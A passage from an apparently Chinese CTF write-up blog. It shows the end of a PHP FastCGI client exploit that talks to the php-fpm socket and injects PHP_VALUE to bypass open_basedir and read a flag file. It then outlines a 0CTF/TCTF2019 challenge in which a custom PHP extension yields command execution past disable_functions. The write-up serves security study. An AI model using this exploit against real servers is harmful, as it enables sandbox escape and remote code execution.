            if ($info['timed_out']) {
                throw new TimedOutException('Write timed out');
            }
            // Broken pipe, tear down so future requests might succeed
            fclose($this->_sock);
            throw new Exception('Failed to write request to socket');
        }
        $this->_requests[$id] = array('state' => self::REQ_STATE_WRITTEN, 'response' => null);
        return $id;
    }
    public function wait_for_response($requestId, $timeoutMs = 0) {
        if (!isset($this->_requests[$requestId])) {
            throw new Exception('Invalid request id given');
        }
        if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK || $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR) {
            return $this->_requests[$requestId]['response'];
        }
        if ($timeoutMs > 0) {
            // Reset timeout on socket for now
            $this->set_ms_timeout($timeoutMs);
        } else {
            $timeoutMs = $this->_readWriteTimeout;
        }
        $startTime = microtime(true);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                if ($resp['type'] == self::STDERR) {
                    $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;
                }
                $this->_requests[$resp['requestId']]['response'].= $resp['content'];
            }
            if ($resp['type'] == self::END_REQUEST) {
                $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;
                if ($resp['requestId'] == $requestId) {
                    break;
                }
            }
            if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {
                // Reset
                $this->set_ms_timeout($this->_readWriteTimeout);
                throw new Exception('Timed out');
            }
        } while ($resp);
        if (!is_array($resp)) {
            $info = stream_get_meta_data($this->_sock);
            // We must reset timeout but it must be AFTER we get info
            $this->set_ms_timeout($this->_readWriteTimeout);
            if ($info['timed_out']) {
                throw new TimedOutException('Read timed out');
            }
            if ($info['unread_bytes'] == 0 && $info['blocked'] && $info['eof']) {
                throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');
            }
            throw new Exception('Read failed');
        }
        // Reset timeout
        $this->set_ms_timeout($this->_readWriteTimeout);
        switch (ord($resp['content'] {
                4
        })) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
            break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
            break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
            break;
            case self::REQUEST_COMPLETE:
                return $this->_requests[$requestId]['response'];
        }
    }
}
$client = new Client('unix:///var/run/php/php7.2-fpm.sock', -1);
$php_value = "open_basedir = /";
$filepath = '/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php';
$content = 'rai4over';
echo $client->request(array(
  'GATEWAY_INTERFACE' => 'FastCGI/1.0', 
  'REQUEST_METHOD' => 'POST', 
  'SCRIPT_FILENAME' => $filepath, 
  'SERVER_SOFTWARE' => 'php/fcgiclient', 
  'REMOTE_ADDR' => '127.0.0.1', 
  'REMOTE_PORT' => '9985', 
  'SERVER_ADDR' => '127.0.0.1', 
  'SERVER_PORT' => '80', 
  'SERVER_NAME' => 'mag-tured', 
  'SERVER_PROTOCOL' => 'HTTP/1.1', 
  'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 
  'CONTENT_LENGTH' => strlen($content), 
  'PHP_VALUE' => $php_value,
), $content);

</p></details>

两个exp都是用php实现了一个Fast CGI Client,然后去连接 php-fpm 的 sock,绕过 open_basedir 执行代码

具体过程是先传上 exp.php(上面的exp),然后 include 它,就能绕过 open_basedir 的限制

但是这种方法只是绕过 open_basedir 的限制,需要其他人先做出题目,运行readflag把flag输出到一个文件里,才能拿到flag,还是不能绕过 disable_functions 执行命令

优雅的利用方法在下面

0CTF/TCTF2019_final wallbreaker_not_very_hard

这题是上题的难度提升版,上题的多种exp都行不通了

过滤了一堆函数:

限制目录

首先绕过 open_basedir

或者

/var/run/php/ 下发现 /var/run/php/U_wi11_nev3r_kn0w.sock,就是 PHP-FPM 用的 socket

然后同上文disable_functions 来RCE的方法

编译一份PHP扩展,通过扩展加载命令函数,与 socket 通信完成RCE

wp:

0x05 Referer

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值